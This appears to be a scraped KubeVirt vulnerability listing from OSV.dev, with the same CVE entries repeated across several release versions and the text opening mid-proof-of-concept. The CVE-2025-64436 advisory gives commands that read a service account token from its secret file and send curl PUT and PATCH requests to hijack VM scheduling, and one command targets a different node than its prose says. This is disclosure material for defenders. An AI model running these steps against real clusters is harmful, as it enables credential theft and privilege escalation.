attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 12, 2021

v0.46.0 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 01, 2021

v0.43.1-rc.1 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jul 21, 2021

v0.41.0-rc.0 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

